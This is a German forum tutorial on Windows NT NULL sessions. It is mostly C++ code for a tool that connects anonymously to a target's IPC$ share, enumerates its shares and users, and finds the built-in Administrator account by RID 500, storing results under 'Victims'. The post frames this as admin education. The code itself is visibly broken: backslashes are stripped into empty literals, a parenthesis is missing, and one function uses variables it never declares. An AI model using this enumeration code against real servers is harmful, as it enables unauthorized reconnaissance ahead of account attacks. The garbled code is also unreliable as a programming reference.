Diskussion: Administratorrechte unter WinNT durch eine NULL Session im Forum Security/Network Tutorials, in der Kategorie Tutorials; Anzeige Informationen über NULL Sessions Dieser Text ist eine detailierte Beschreibung, wie man sich zu einem NT Server über eine ...
![]() |
| | #1 (permalink) |
| Administrator ![]() Registriert seit: 25.09.01 ![]() ![]() Likes: 133 | Anzeige Informationen über NULL Sessions Dieser Text ist eine detailierte Beschreibung, wie man sich zu einem NT Server über eine NULL Session verbindet und den Namen des wirklichen Administrator Accounts ausliest. Auch oder besonders Admins, die nicht programmieren, sollten einen Blick in diesen Artikel werfen, um sich mit den hier erklärten API's anzufreunden. Dadurch wird man die gesamte NT Umgebung besser verstehen und auch in der Lage sein, potentiell gefährlichen Code zu erkennen. Die Fähigkeit Risiken abzuschätzen, ist mitunter einer der zentralsten Punkte für einen Administrator. Nur mit diesem gewissen Weitblick gepaart mit dem entsprechenden KnowHow lassen sich auf lange Sicht ernsthafte Schäden am System vermeiden. Deshalb ist dieser Text und das damit verbundene 'Training' für Admins, gefährlichen Code zu erkennen, von hoher Bedeutung. NULL Sessions sind usprünglich dazu gedacht, um es einem nicht authentifizierten Host zu gestatten, die Informationslisten des NT Servers einzusehen, und sich in das MS Netzwerk einwählen zu können. Dies ist meist bei Win95/98/NT Hosts nützlich, die nicht Teil der Domain sind, aber trotzdem die Möglichkeit brauchen, auf dortige Informationen zugreifen zu können. Das Problem entsteht dann, wenn eine NULL Session Teil der "Jeder"-Gruppe wird und dadurch Zugriff auf Resourcen bekommt, für die sie eigentlich nicht authentifiziert ist, die "Jeder"-Gruppe aber Zugriff hat. Ursprügnlich bedeutet "Jeder" nicht "Irgendwer". Man musste sich immer noch einloggen, um in die "Jeder"-Gruppe zu gelangen. NULL Sessions jedoch könnten dieser eine Fall sein, bei dem "Jeder" doch "Irgendwer" bedeutet. Aus diesem Grund erstellte MS eine neue Benutzergruppe, die "Auhtentifizierte Benutzer"-Gruppe. Diese Gruppe enthält keine NULL Sessions und kann damit auch nicht "Irgendwer" bedeuten - solange bis jemand ein Exploit dafür findet. Die folgenden Code Segmente sind kommentiert, um genau zu zeigen was passiert, welche API's verwendet werden, und wie der wirkliche Administrator Name identifiziert werden kann. Zuerst - wie man eine NULL "Sitzung" herstellt Die eine Möglichkeit ist die, den Net Use Befehl mit einem leeren Passwort zu benutzen. Programmiertechnisch sieht das so aus... //Diese Funktion wird vom Dialog aufgerufen, der die Li stbox mit Verbindungen füllt BOOL EstablishNullSession(CString TargetHost, CNTOHunterDlg* pDlg) { //Setup für UNICODE char* pTemp = TargetHost.GetBuffer(256); WCHAR wszServ[256]; LPWSTR Server = NULL; //Konvertieren in Unicode MultiByteToWideChar(CP_ACP, 0, pTemp, strlen(pTemp)+1, wszServ, sizeof(wszServ)/sizeof(wszServ[0]) ); //Erstellt den Verbindungsstring über die IPC$ Freigabe, den wir brauchen Server = wszServ; LPCWSTR szIpc = L"\IPC$"; WCHAR RemoteResource[UNCLEN + 5 + 1]; // UNC len + IPC$ + NULL DWORD dwServNameLen; DWORD dwRC; //Installiert Win32 Strukturen und Variablen, die wir brauchen NET_API_STATUS nas; USE_INFO_2 ui2; SHARE_INFO_1* pSHInfo1 = NULL; DWORD dwEntriesRead; DWORD dwTotalEntries; //Setzt die Werte in der Verzeichnisbaumkontrolle, um die Verbindungsergebnisse einzufügen HTREEITEM machineRoot, shareRoot, userRoot, adminRoot, attribRoot; char sharename[256]; char remark[256]; if(Server == NULL || *Server == L'') { SetLastError(ERROR_INVALID_COMPUTERNAME); return FALSE; } dwServNameLen = lstrlenW( Server ); //Test verschiedener Fehlermeldungen im Verbindungsstring if(Server[0] != L''&& Server[1] != L'') { // Stellt die Schrägstriche und NULL terminate voran RemoteResource[0] = L''; RemoteResource[1] = L''; RemoteResource[2] = L''; } else { dwServNameLen -= 2; // nimmt Schrägstriche vom Zähler RemoteResource[0] = L''; } if(dwServNameLen >CNLEN) { SetLastError(ERROR_INVALID_COMPUTERNAME); return FALSE; } if(lstrcatW(RemoteResource, Server) == NULL) return FALSE; if(lstrcatW(RemoteResource, szIpc) == NULL) return FALSE; //Beginn, den Memory zu säubern ZeroMemory(&ui2, sizeof(ui2)); //Fügt die Win32 Netzwerkstrukturen ein, die wir brauchen, um die connect API zu nutzen ui2.ui2_local = NULL; ui2.ui2_remote = (LPTSTR) RemoteResource; ui2.ui2_asg_type = USE_IPC; ui2.ui2_password = (LPTSTR) L""; //SETZT DAS PASSWORT AUF NULL ui2.ui2_username = (LPTSTR) L""; ui2.ui2_domainname = (LPTSTR) L""; //DADURCH WIRD DIE NULL SESSION AUFGEFORDERT, DIE VERBINDUNG AUFZUBAUEN nas = NetUseAdd(NULL, 2, (LPBYTE)&ui2, NULL); dwRC = GetLastError(); if( nas == NERR_Success ) { machineRoot = pDlg->m_Victims.InsertItem(TargetHost, 0, 0, TVI_ROOT); } //HIER GIBT NT SEINE INFORMATIONEN AUS nas = NetShareEnum((char*)Server, 1, (LPBYTE*)&pSHInfo1, MAX_PREFERRED_LENGTH, &dwEntriesRead, &dwTotalEntries, NULL); dwRC = GetLastError(); if( nas == NERR_Success ) { if(dwTotalEntries > 0) { shareRoot = pDlg->m_Victims.InsertItem("Shares", machineRoot,TVI_LAST); userRoot = pDlg->m_Victims.InsertItem("Users", machineRoot,TVI_LAST); adminRoot = pDlg->m_Victims.InsertItem("Admin", machineRoot,TVI_LAST); } for(int x=0; x<(int)dwTotalEntries; x++) { //Rückkonvertierung nach ANSI WideCharToMultiByte(CP_ACP, 0, (const unsigned short*)pSHInfo1->shi1_netname, -1, sharename, 256, NULL, NULL ); WideCharToMultiByte( CP_ACP, 0, (const unsigned short*)pSHInfo1->shi1_remark, -1, remark, 256, NULL, NULL ); CString ShareDetails = sharename; ShareDetails = ShareDetails + " - " + remark; //füllt den Verzeichnisbaum mit der Verbindungsinfo attribRoot = pDlg->m_Victims.InsertItem(ShareDetails, shareRoot,TVI_LAST); pSHInfo1++; } } //Die Funktion, die die Benutzer auflistet, steht weiter unten DoNetUserEnum(Server, pDlg, userRoot, adminRoot); //WIR SIND FERTIG, ALSO BEENDE DIE VERBINDUNG nas = NetUseDel(NULL, (LPTSTR) RemoteResource, 0); TargetHost.ReleaseBuffer(); SetLastError( nas ); return FALSE; } Die folgende Funktion erklärt, wie man programmiertechnisch den Administrator Status eines Accounts ausfindig machen kann... bool GetAdmin(char* pServer, char* pUser, CString& Name) { BOOL fAdmin = FALSE; DWORD dwDomainName,dwSize,dwAdminVal; SID_NAME_USE use; PSID pUserSID = NULL; // SID für Benutzer int rc; int iSubCount; bool bFoundHim = 0; dwDomainName = 256; dwSize = 0; dwAdminVal = 0; iSubCount = 0; //Fragt API nach Puffergröße, da wir die Größe ja nicht im voraus wissen rc = LookupAccountName(pServer, pUser, pUserSID, &dwSize, szDomainName, &dwDomainName, &use ); rc = GetLastError(); //teilt einen größeren Puffer zu if(rc == ERROR_INSUFFICIENT_BUFFER) { pUserSID = (PSID) malloc(dwSize); //Wiederhole die Anfrage, da wir jetzt die richtige Puffergröße haben rc = LookupAccountName(pServer, pUser, pUserSID, &dwSize, szDomainName, &dwDomainName, &use ); } //Scannt die SIDS nach dem goldenen Schlüssel - ADMIN == 500 //Holt eine Zählerliste der SID's iSubCount = (int)*(GetSidSubAuthorityCount(pUserSID)); //Die Admin SID ist das letzte Element in der Zählerliste dwAdminVal = *(GetSidSubAuthority(pUserSID, iSubCount-1)); if(dwAdminVal==500) //EIN TEST UM ZU SCHAUEN, OB DAS DER ADMIN IST { Name.Format("Admin is %s\%s ", szDomainName, pUser); bFoundHim = true; } delete pUserSID; return bFoundHim; //WIR WISSEN WER ER IST, FÜGE IHN DEM VERZEICHNISBAUM BEI } Funktion um die Benutzer Accounts aufzulisten..... void DoNetUserEnum(const wchar_t* pServer, CNTOHunterDlg* pDlg, HTREEITEM userRoot, HTREEITEM adminRoot) { USER_INFO_10 *pUserbuf, *pCurUser; DWORD dwRead, dwRemaining, dwResume, dwRC; char userName[256]; char userServer[256]; dwResume = 0; if(pServer[0] != L'' && pServer[1] != L'') { //Beginne Anfrage mit korrekten UNC Schrägstrichen und NULL terminate RemoteResource[0] = L''; RemoteResource[1] = L''; RemoteResource[2] = L''; } else { dwServNameLen -= 2; // nimmt Schrägstriche vom Zähler RemoteResource[0] = L''; } if(dwServNameLen > CNLEN) { SetLastError(ERROR_INVALID_COMPUTERNAME); return; } if(lstrcatW(RemoteResource, pServer) == NULL) return; do { pUserbuf = NULL; //DIESE API BENUTZT NT, UM SEINE LISTE AUSZUGEBEN dwRC = NetUserEnum(RemoteResource, 10, 0, (BYTE**) &pUserbuf, 1024, &dwRead, &dwRemaining, &dwResume); if (dwRC != ERROR_MORE_DATA && dwRC != ERROR_SUCCESS) break; DWORD i; for(i = 0, pCurUser = pUserbuf; i < dwRead; ++i, ++pCurUser) { // Rückkonvertierung nach ANSI. WideCharToMultiByte( CP_ACP, 0, pCurUser->usri10_name, -1, userName, 256, NULL, NULL ); // Rückkonvertierung nach ANSI. WideCharToMultiByte( CP_ACP, 0, pServer, -1, userServer, 256, NULL, NULL ); if(!GotAdmin) { //verwende char strings CString Admin; GotAdmin = GetAdmin(userServer, userName, Admin); if(GotAdmin { Admin.TrimRight(); HTREEITEM adminChild = pDlg->m_Victims.InsertItem(Admin, adminRoot, TVI_LAST); pDlg->m_Victims.EnsureVisible(adminChild); } } CString strUserName = userName; pDlg->m_Victims.InsertItem(strUserName, userRoot, TVI_LAST); } if (pUserbuf != NULL) NetApiBufferFree(pUserbuf); } while (dwRC == ERROR_MORE_DATA); if (dwRC != ERROR_SUCCESS) printf("NUE() returned %lu ", dwRC); } |
| | |
![]() |
| - Anzeige - | |
| |
| Themen-Optionen | |
| Ansicht | |
| |
Ähnliche Themen | ||||
| Thema | Autor | Forum | Antworten | Letzter Beitrag |
| rar nimmt keine Eingabe durch eine pipe entgegen | valenterry | Linux/UNIX | 11 | 17.09.07 20:25 |
| Windows XP Null Session Verbieten ! aber wie ? | Bogus | Windows | 2 | 23.05.06 08:39 |
| Shell durch null-session spawnen? | Xalon | (In)security allgemein | 4 | 24.09.05 16:57 |
| Grafikkarte unter WinNT installieren | Squaiacoda | Windows | 2 | 16.09.02 13:46 |